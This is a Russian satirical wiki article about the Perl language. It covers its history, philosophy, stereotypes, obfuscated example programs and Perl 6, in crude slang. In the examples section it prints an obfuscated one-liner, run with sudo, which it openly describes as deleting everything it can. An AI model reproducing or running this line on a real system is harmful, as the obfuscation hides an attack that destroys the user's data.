Perl

Материал из Неолурк, народный Lurkmore
Перейти к навигации Перейти к поиску
Типичная программа на Перле выглядит так, как будто программист бился головой об клавиатуру; и чаще всего оно так и есть
PHP — это маленькое зло, созданное некомпетентными новичками, в то время как Perl — это большое и коварное зло, созданное умелыми, но извращёнными профессионалами.
— Jon Ribbens
Perl.jpg

Perl (Перл, тж. Пёрл, быдл. Перловка) — аццки упоротый язык программирования, написанный Ларри Уоллом в 1987 году изначально для работы с текстовой документацией. Состоит из ^регэкспов$ чуть менее, чем полностью, и это так и было задумано: код скрипта — обёртка над ними. Собственно Perl и является родителем современнных регэкспов — они так и называются, PCRE (англ. Perl-compatible regular expressions).

Замысел Ларри Уолла соответствует идеям, заложенным в Unix: данные попадают в stdin, пробегают через код и регекспы, и отгружаются в stdout. Казалось бы, ^[-.\w]+@(?:[a-z\d][-a-z\d]+\.)+[a-z]{2,6}$

История[править]

Перл — 1) сокровище, драгоценность, нечто выдающееся в ряду подобных (перл создания) 2) нечто нелепое, смешное, бессмысленное, в частности нелепое высказывание
— из песни слов не выкинешь, Педивикия однако!

Жил-был великий шаман по имени Ларри Уолл. Жил — не тужил, пиво пил и языки разные изучал, пока не стукнуло в его умную голову придумать свой собственный язык… программирования. Залился пивом этот мэн и обозвал свое детище — Perl'ом. У некоторых возникает ассоциации со словом pearl, которое переводится как жемчужина. Они не ошиблись: сам автор называет свой язык жемчужиной. Perl — это аббревиатура, расшифровывающаяся как Practical Extraction and Report Language (практический язык для извлечения лулзов данных и составления отчетов), некоторые извращенцы (сам автор по "man perl") называют его Pathologically Eclectic Rubbish Lister (патологически эклектичный мусорный листер), более точный перевод Патологический разгребатель перемешанного мусора.

В Рашке также называется ПЕРДЛ, что расшифровывается от китайского «Почему Если Работает Делать Лучше», или, как говаривал, бывало, Дэн Сяопин, «Неважно, какого цвета кошка, лишь бы она ловила мышей».

Отлично подходит для нужд бородатых одминов и кулхацкеров. Первое, видимо, потому, что Perl частично унаследован от языка шелл-скриптов, а второе — потому, что больно хитрожопый. Ведь это именно на нём проще всего писать скрипты, которые позже будут собраны в цепочки вида:

первое-прогго | второе-прогго | третье-прогго | юниксовое-сортировко > вывод-сюда.csv 2> ошибки-туда.txt

Здесь текстовый вывод от первой проги передаётся на вход второй, она читает его и разбирает (с помощью рехекспоф), затем её текстовый вывод передаётся третьей проге и так далее, ну ты понел. В этом качестве Перл полезен, удобен и прекрасен, а писать такие скрипты на нём — прельстиво и тепло. В качестве среды разработки и выполнения web-скриптов он малопригоден и для описания бизнес-процессов изначально предназначен не был. Ну не был, и всё.

Философия[править]

Корабль пустыни[править]

Да, это он — Корабль пустыни

Афоризм, лежащий в основе Дао Perl’а, — TMTOWTDI — «There’s more than one way to do it» — «Есть более одного способа сделать это» и различные вариации на тему «Приятно быть важным, но куда важнее быть приятным» и снятия ограничений. Отсюда, следуя принципу TMTOWTDI, Perl (6) может прикинуться и пушистой змэйкой, так же эффективно выполняя тот же байт-код, оформленный более читаемо для питонщиков и иже с ними, ибо.

Маскотом Перла является верблюд с тех самых пор, как его изобразили на обложке первого издания книжки «Programming Perl». Неприхотлив, вынослив, благонадёжен. Любит сигареты Camel и шоколадки Picnic.

Может и оплевать, если захочет.

Стереотипы[править]

До создания еретического Пыха был наиболее популярным языком для написания быдлоскриптов (счётчиков, гостевух и прочей хуиты) для быдлохоумпаг всяких Вась Пупкиных, не ведавших не то что про ООП, но даже про модуль CGI, и извлекавших переменные напрямую «руками» из QUERY_STRING[1]. Особой мерзостью были зачислители платежей и биллинговые системы… которые до вас переписывали и после вас будут переписывать ещё 50 тысяч раз.

Так что ещё лет 23 тому назад сабж из-за таких поклонников вполне себе мог считаться быдлокодерским языком. Все это вполне подтверждает здравую мысль, что языки считаются быдлокодерскими не из-за своих особенностей или структуры, а из-за безмозглых быдлокодеров, которые пишут на них свой быдлокод.

Примеры[править]

Пример типичной программы на Perl.

`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@%)=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++
;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`

Очевидно, что эта программа выводит строку «Just another Perl hacker.», в культуре Perl заменяющую собой классический «Hello, world!».

Однако если не заниматься дешёвым выпендрёжем, то эта же программка будет выглядеть вот так, таинственно и непонятно:

#!/usr/bin/perl
print "Just another Perl hacker.\n";

Другой типичный пример, иллюстрирующий богатые возможности Perl по визуальному программированию:

                                           $_='ev
                                       al("seek\040D
           ATA,0,                  0;");foreach(1..3)
       {<DATA>;}my               @camel1hump;my$camel;
  my$Camel  ;while(             <DATA>){$_=sprintf("%-6
9s",$_);my@dromedary           1=split(//);if(defined($
_=<DATA>)){@camel1hum        p=split(//);}while(@dromeda
 ry1){my$camel1hump=0      ;my$CAMEL=3;if(defined($_=shif
        t(@dromedary1    ))&&/\S/){$camel1hump+=1<<$CAMEL;}
       $CAMEL--;if(d   efined($_=shift(@dromedary1))&&/\S/){
      $camel1hump+=1  <<$CAMEL;}$CAMEL--;if(defined($_=shift(
     @camel1hump))&&/\S/){$camel1hump+=1<<$CAMEL;}$CAMEL--;if(
     defined($_=shift(@camel1hump))&&/\S/){$camel1hump+=1<<$CAME
     L;;}$camel.=(split(//,"\040..m`{/J\047\134}L^7FX"))[$camel1h
      ump];}$camel.="\n";}@camel1hump=split(/\n/,$camel);foreach(@
      camel1hump){chomp;$Camel=$_;y/LJF7\173\175`\047/\061\062\063\
      064\065\066\067\070/;y/12345678/JL7F\175\173\047`/;$_=reverse;
       print"$_\040$Camel\n";}foreach(@camel1hump){chomp;$Camel=$_;y
        /LJF7\173\175`\047/12345678/;y/12345678/JL7F\175\173\0 47`/;
         $_=reverse;print"\040$_$Camel\n";}';;s/\s*//g;;eval;   eval
           ("seek\040DATA,0,0;");undef$/;$_=<DATA>;s/\s*//g;(   );;s
             ;^.*_;;;map{eval"print\"$_\"";}/.{4}/g; __DATA__   \124
               \1   50\145\040\165\163\145\040\157\1 46\040\1  41\0
                    40\143\141  \155\145\1 54\040\1   51\155\  141
                    \147\145\0  40\151\156 \040\141    \163\16 3\
                     157\143\   151\141\16  4\151\1     57\156
                     \040\167  \151\164\1   50\040\      120\1
                     45\162\   154\040\15    1\163\      040\14
                     1\040\1   64\162\1      41\144       \145\
                     155\14    1\162\       153\04        0\157
                      \146\     040\11     7\047\         122\1
                      45\15      1\154\1  54\171          \040
                      \046\         012\101\16            3\16
                      3\15           7\143\15             1\14
                      1\16            4\145\163           \054
                     \040            \111\156\14         3\056
                    \040\         125\163\145\14         4\040\
                    167\1        51\164\1  50\0         40\160\
                  145\162                              \155\151
                \163\163                                \151\1
              57\156\056

Ещё куча подобных примеров

Существует другая популярная программа на Перле, реализующая патч Бармина. Предназначена для удаления всего, что сможет удалить. и если вы её уже запустили, то вас совсем не жаль. Вот применение.

echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Некоторые особенности языка[править]

  • Программы на Perl могут писаться на любых языках, например, на латыни или языке Древних. О написаніи программъ въ орѳографіи образца 1916-аго года покамѣстъ свѣдѣній нѣтъ.
  • Perl — один из немногих языков c поддержкой квантового исчисления.
  • Perl — единственный язык, вид программы на котором не меняется после ююканья.
  • Не описывается BNF
  • Многие скрипты гентушного portage написаны именно на нём. Местный пёрдл — это просто поле из граблей с автоподзаводом, он периодически выдает ошибки на ровном месте и прерывает компиляцию мира. Специально для борьбы с этим явлением злые гентушнеги придумали команду perl-cleaner.

Perl 6[править]

Будущее Перла — Perl 6 (в это, по крайней мере, верит Создатель). Perl 6 существует в виде сферического в вакууме стандарта и допускает существование нескольких реализаций. Впервые про Него мир узнал в 2000 году и с переменным успехом знакомится и по сей день.

Наиболее полная реализация Perl 6 на данный момент — Rakudo, под MoarVM. Также есть пока неполная поддержка JVM.

Есть еще несколько проектов по реализации спеки языка, но они либо заброшены, либо не представляют собой ничего серьезного.

Дао Perl 6:

  1. Любой набор символов в любой кодировке является синтаксически правильным Perl 6 кодом.
  2. Всегда есть бесконечное количество различных способов сделать это.
  3. Любой человек, писавший до этого на любом языке, может сразу писать на Perl 6. Он может даже не догадываться, что пишет на Perl 6. Если, конечно, не будет забывать ставить 1; в конце модулей.
  4. Можно перегружать 1;. Можно перегружать пробелы. Можно перегружать сорц-фильтры с помощью регулярных выражений, которые тоже можно перегружать.
  5. Perl 6 имеет эталонную реализацию, написанную на Perl 6 и не способную быть выраженной ни на каком другом языке[2]. На Perl 6 эталонная реализация может быть выражена, но не за конечное время. Мы работаем над этим. Когда мы закончим, наступит Армагеддон (который тоже можно будет перегрузить).

1;

Свершилось[править]

И спустя почти 15 лет наконец дождались! Ларри Уолл официально представил Perl 6. Для тех, кому Perl 5 был слишком прост в освоении, добавили паттерн-матчинг и ленивые списки (а если серьёзно, то первая реализация Perl 6 была написана на Haskell, что логично), творчески переосмыслили нафиг весь синтаксис, а возможность менять его как угодно сделали основной фичей языка. А вы думали рандомный набор символов, как синтаксически правильный перлокод — это просто такая шутка была?

В результате получилось нечто весьма стрёмное. Адептов у сей поделки чуть более, чем нет: ньюфагов отпугивает охренительный порог входа и отсутствие вакансий, олдфаги негодуют от того, что сходство с пятеркой оканчивается на названии и повальной любви к регуляркам. В сухом остатке имеем еще один язык, который никому, кроме своих создателей нафиг не нужен. Что в определенной степени прискорбно: сил на него было потрачено немало, да и светлые идеи имеются в немалом количестве.

Ссылки[править]

Примечания[править]

  1. Чему в немалой степени поспособствовали разошедшиеся по Сети и даже печати всякие «пособия по CGI-программированию», написанные быдлокодерами, кроме своей хоумпаги ничего не писавшими.
  2. Формальное доказательство, что Перл нельзя распарсить
Movax1010h.png Глубокий смысл скрыт в этих неестественных языках
Языки программированияПромышленные: BATC#CC++JavaJavaScript (AJAX) • PascalPerlPHPPythonRubyABAPАссемблерВасикФортран
Эзотерические: BrainFuckHQ9++ErlangForthHaskellLISP (My other car) • PrologTclΤΕΧOracleMySQLGolangВ++
ПрофессииБыдлокодерПрограммистТестировщикХакерХеллоуворлдщикIT-звёзды
Методы и стилиReverse EngineeringАнти-паттернВыстрелить себе в ногуГрязный хакКод (индусский) • КостыльМетод научного тыкаПомолясьСвистелки и перделкиОчередьСпортивное программированиеОбфускацияБета-тестАльфа-тестШаблоныRegReplace
Средства разработкиSublime TextПодсветка синтаксиса кодаUnstable DiffusionAPIPythonTutorCodeWarsDataCamp
ЛюдиИлья КанторЮрий КлючевскийЭдуард Лаас
Прочее++i + ++iDeadline%s640 килобайтCMSDummy modeЕГГОГFoobarGod is real, unless explicitly declared as integerGOTOIfconfigKISSRegExpSICPsql.ruXyzzyДискетаИнжалид дежицеКОИ-8ЛогМанРекурсияСУБДТест ТьюрингаУмение разбираться в чужом кодеФаза ЛуныФатальный недостатокПроблема 2000ТаймстампКэшЗапись в файл без кэша (Perl)Танцы с бубномКодач
Lor opacity.png Обитель ОС-петушелл
Людиalphex_kaanoken • GeneratorglukoffGuttaLinuxJBK48KominternShaman007SherakSikonSilvyАлексей БабушкинАнонимус • Батарейкин • ВилфредГанс РейзерГрегореДенис ПоповЛуговскийМихаилПатрикСанычТеоШаман
Мемы128 bitDimmu Borgir - 51kJust for Funlibastral.soTRUE-DEATH-PRIMITIVE-LINUX-MITOLLАнальное рабствоА под Слакой это работает?ВендекапецВеществаДонской табакЖдём ебилдовЗакопайте обратноК логопеду, быдлоЛетающие коровыЛОР-эффектМашина времениМетанацияНе нуженНе работай под рутомНичего не поделаешь, это FlashПерестаньте насиловать труп!Плазма не падаетПрограмма из одной строчки на PerlРешетоСкриншот с ЛОРСпециалисты по всемуТелепаты в отпускеТолько закончил собиратьУбей себя, как ТоммиУМВРШрифты — говноЭлектролит из соплей девственницы
ПрограммированиеArchFedoraGentooGIMPGNOMEJavaKDEPerlSlackware LinuxTeX
Прочее12309Common SenseGNOME vs. KDENixburgАппрувВеликий Исход МодераторовКостыльЛолксЛузирсНытик-тредыТукс
App.png Это не баг, а фича
МетаПрограммаDRM (SecuROMStarForceАналоговая дыра) • БагБот (Автоответчик) • Варез (Repack) • ГлюкГуйДонатКопирайт (By design) • ЛогНюкРут (Не работай под рутом) • Спортивное программированиеМегапиксельКомпьютерВерсия 2.0КодОбфускацияСкриншотДатамайнПлагинТекстовый файлБольшие данныеАльфа и бета-тестыТаймстампКэшШаблоныHello WorldНейросетиФайлИнсталляция
ФичиБагрепорт12309BSODCookiesEmbrace, extend and extinguishFL StudioSheep.exeWinlogon.exeБубенЗащита от дуракаКостыльМашинный переводПасхальные яйцаСвистелки и перделкиСм. рис. 1Съешь ещё этих мягких французских булокTermuxGNU MetroИндусский кодНескучные обои • Сжатие (За сжатие ДжипегаШакалШкала) • Работает — не трогайРандомайзерPDF (Распознавание PDF) • Дело Google в ФАСЧат-ботXMLМакросКритическая ошибка
ВредоносноеБотнетБрутфорсВинлокЗвонилкаКитайские пингвиныПиксель смертиТроянЧервь МоррисаBonziBuddyMediaGetBrowser hijackingTinderМиссис МажорУтечка буфера обмена
КомпанииApple / Apple (AppleScript) • GoogleMicrosoftSAPЯндекс
Движения8-bitOpen source (КрасноглазикиЛинуксоиды) • Вирусная сценаДаунгрейдДемосценаМоддингMMD
Офис3DS MAXGIMPGNU EmacsMovie MakerMS Paint • OpenOffice • PowerPointviMicrosoft WordExcelБлокнотФотошопАнтивирус КасперскогоAvast!TikZShareXAlternativeToСкрепышMicrosoft OfficeТекстовый редакторWeChat
ОСAndroidBSDDOSMenuetOSReactOSWindows (Phone 7Phone 878Vista) / МаздайЛинуксРусская ОСФантом ОС
БраузерыInternet ExplorerОпера / Opera • Тормозилла (ОгнелисLolifoxMozilla FirefoxFirefoxFirefox Klar) • Хром (шпионаж) • SafariЯндекс.БраузерУведомления в браузереVivaldiTor-браузер
ИнтернетAdobe Systems (Flash) • I2PLow Orbit Ion CannonTorTunatic • Чат−клиенты (MirandaQIPSkypeАськаЖабберDiscordVIPole) • HTTPSПрокси-сервер (Proxifier) • Торрент (Magnet-ссылкаΜTorrent) • JavaScriptCSSHTMLБаннермейкерИзменение TTL сетевых пакетовКапчаICQFiddlerViberZonaSteamSillyTavernWickr Me
РазработкаBrainFuckCC++C#JavaHaskellАссемблерChaos ConstructionsBATMySQLGitHubAutoHotKey (AutoHotInterception) • Sublime TextAPK (APKPureзапрет) • BASICPerlPythonPHPФорк
ЛюдиВеб-мастерLovinGODБалмерГейтсГенерал ФейлорДжобсМитникПоттерингде РаадтСпольскиСтоллманТорвальдсШахиджанянAche666Марк ЦукербергЕвгений ПоповДенис КумпонМассовая компьютерная безграмотность
КостылиCygwin • PunkBusterT9WineWishmasterАнтивирусыХакинтошСборки WindowsDenuvoЧистая установкаКалькулятор Consul WarMicrosoft StoreUBlock OriginLightshotAdBlockSearchApp.exeCPU-Z
Команды^H^WAlt+F4Ctrl+Alt+Delman/me/quitrm -rf